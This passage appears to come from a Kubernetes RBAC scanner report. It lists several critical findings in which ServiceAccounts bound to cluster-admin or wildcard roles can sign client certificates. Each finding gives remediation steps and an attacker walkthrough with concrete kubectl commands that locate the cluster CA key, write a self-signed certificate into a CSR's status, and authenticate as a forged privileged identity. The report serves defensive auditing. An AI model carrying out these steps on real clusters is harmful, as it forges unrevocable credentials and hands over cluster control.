For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:rbac-fixtures:sa-wildcard | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/rbac-fixtures/sa-wildcard, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecr-wildcard
Inspect: kubectl get clusterrole cr-wildcard -o yaml
Source bindingcrb-wildcard
Inspect: kubectl get clusterrolebinding crb-wildcard -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "crb-wildcard",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-wildcard",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 9.6
Signer control: ServiceAccount/cert-manager/cert-manager can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager Resource: RBACRule/cluster-admin

Subject ServiceAccount/cert-manager/cert-manager holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding cutres-deputy-cm-admin → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:cert-manager:cert-manager | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/cert-manager/cert-manager, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-deputy-cm-admin
Inspect: kubectl get clusterrolebinding cutres-deputy-cm-admin -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-deputy-cm-admin",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 9.6
Signer control: ServiceAccount/cutres/cutres-detour can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-detour holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding cutres-detour-direct → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-detour | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/cutres/cutres-detour, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-detour-direct
Inspect: kubectl get clusterrolebinding cutres-detour-direct -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-detour-direct",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 9.6
Signer control: ServiceAccount/cutres/cutres-parallel can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel Resource: RBACRule/cluster-admin

Subject ServiceAccount/cutres/cutres-parallel holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding cutres-parallel-a → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-parallel | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/cutres/cutres-parallel, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingcutres-parallel-a
Inspect: kubectl get clusterrolebinding cutres-parallel-a -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "cutres-parallel-a",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 9.6
Signer control: ServiceAccount/deepchain-tenant/deepchain-privileged can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged Resource: RBACRule/cluster-admin

Subject ServiceAccount/deepchain-tenant/deepchain-privileged holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding deepchain-privileged → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

The sign verb on the signers resource plus update/patch on certificatesigningrequests/status is the authorization Kubernetes defines for being a certificate signer: the CertificateSigning admission plugin checks sign when a status write populates status.certificate. Where CSR self-approval asks the cluster's signer to issue a cert, this identity is the signer — no create, no /approval, and no approver anywhere in the chain.

For kubernetes.io/kube-apiserver-client that means issuing a client certificate for any identity the holder names. For the kubelet signers it means minting node identities (CN=system:node:<name>), which the Node authorizer accepts for every object bound to that node.

One condition decides urgency: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This grant designates the holder as the signer, and a real signer holds that CA key by definition. So the question is whether this identity is supposed to be a certificate authority for cluster identities — true for the controller-manager or a purpose-built signer controller, never true for an application ServiceAccount.

  1. Attacker confirms the grant with kubectl auth can-i --list --as=system:serviceaccount:deepchain-tenant:deepchain-privileged | grep -E 'signers|certificatesigningrequests/status'.
  2. They locate the signing key the role implies: a projected Secret or hostPath in the workload's own pod spec (kubectl get pod -o yaml | grep -A5 -i 'ca\|tls\|signer'), or the controller-manager's /etc/kubernetes/pki/ca.key if the workload runs on a control-plane node.
  3. They submit a CSR for the signer they control, claiming a privileged identity in the CN (a kube-system ServiceAccount, or system:node:<name> for the kubelet signers).
  4. They sign it with the CA key and write the result back themselves: kubectl patch csr <name> --subresource=status --type=merge -p '{"status":{"certificate":"<base64 PEM>"}}'. No approver is consulted; the CertificateSigning plugin authorizes the write because they hold sign on that signerName.
  5. They authenticate with the issued cert: kubectl --client-certificate=minted.crt --client-key=minted.key auth whoami returns the forged identity.
Remediation
Reserve sign on apiserver-trusted signers for the control plane's own signer controller. If a third-party signer genuinely needs it, scope resourceNames to the one signerName it handles (never kubernetes.io/kube-apiserver-client, never a kubernetes.io/* or */* wildcard) and run it as a dedicated identity with no other permissions.
  1. Find every grant of the verb: kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.resources[]?=="signers") and ((.verbs[]?=="sign") or (.verbs[]?=="*"))) | {name: .metadata.name, rules}'.
  2. Remove the sign grant from ServiceAccount/deepchain-tenant/deepchain-privileged, or scope it with resourceNames to a custom signerName (example.com/my-signer) whose CA is NOT in the apiserver's --client-ca-file. A cert from a CA the apiserver does not trust as a client CA authenticates no one.
  3. Drop update/patch on certificatesigningrequests/status from any identity that is not a signer controller: without the status write, the sign verb issues nothing.
  4. Confirm the apiserver's --client-ca-file bundle contains only CAs you intend to be identity authorities, and that no third-party signer's CA was added to it for convenience.
  5. Audit what was already issued: kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,ISSUED:.status.certificate (the CSR cleaner removes issued CSRs about an hour after issuance, so treat an empty list as inconclusive).
  6. Rotate the cluster CA if you suspect misuse — there is no revocation path for an issued Kubernetes client certificate.
Evidence
ScopeCluster
API groups*
*: Wildcard: every API group
Resources*
*: Wildcard: every resource
Verbs*
*: Wildcard: every verb (get, list, create, update, delete, …)
Source rolecluster-admin
Inspect: kubectl get clusterrole cluster-admin -o yaml
Source bindingdeepchain-privileged
Inspect: kubectl get clusterrolebinding deepchain-privileged -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    "*"
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "*"
  ],
  "scope": "cluster",
  "source_binding": "deepchain-privileged",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cluster-admin",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "*"
  ]
}
CRITICAL ServiceAccount/flux-system/kustomize-controller Cluster 9.6
Signer control: ServiceAccount/flux-system/kustomize-controller can sign client certificates for kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown
Scope · Cluster Cluster-wide: signers is a cluster-scoped virtual resource and an issued client certificate authenticates against every apiserver in the cluster
Category: Privilege Escalation Subject: ServiceAccount/flux-system/kustomize-controller Resource: RBACRule/cluster-admin

Subject ServiceAccount/flux-system/kustomize-controller holds the sign verb on the signers resource covering kubernetes.io/kube-apiserver-client, kubernetes.io/kube-apiserver-client-kubelet, kubernetes.io/legacy-unknown (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin) together with update/patch on certificatesigningrequests/status (via ClusterRoleBinding deepchain-flux-admin → ClusterRole cluster-admin). That pair is not an approval bypass so much as an approval *irrelevance*: it is the exact authorization Kubernetes defines for a certificate signer, and the CertificateSigning admission plugin checks the sign verb when a status write populates status.certificate.

Where KUBE-PRIVESC-011 asks the cluster's signer to issue a certificate (and therefore has to pass the approval gate), this subject IS the signer for those signerNames. It writes the issued certificate itself, so no create, no /approval, and no approver identity is involved anywhere in the chain.

What that yields is any identity in the cluster: the kubernetes.io/kube-apiserver-client signer places no restriction on the Subject DN beyond the system:masters Organization that CertificateSubjectRestriction blocks, so a CN naming a privileged ServiceAccount (system:serviceaccount:kube-system:<sa>) or a control-plane user is issued without challenge.

One condition worth stating plainly, because it decides how urgent this is for your cluster: a certificate only authenticates if it chains to a CA in the apiserver's --client-ca-file. This RBAC grant designates the holder as the signer for those signerNames, and any real signer implementation holds that CA key — that is what being the signer means. So the question this finding puts in front of you is 'is this identity supposed to be a certificate authority for cluster identities?'. For the kube-controller-manager or a purpose-built signer controller the answer is yes; for an application ServiceAccount it never is, and compromising that workload hands over the cluster's identity issuance.

Impact Certificate issuance without approval: the subject is an authorized signer for identity-bearing certificates and writes issued certs directly onto CSR status. Combined with the signing CA key its role implies, it mints credentials for arbitrary identities that outlive every RBAC change and cannot be revoked.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueSigner control: issuing certs without approval

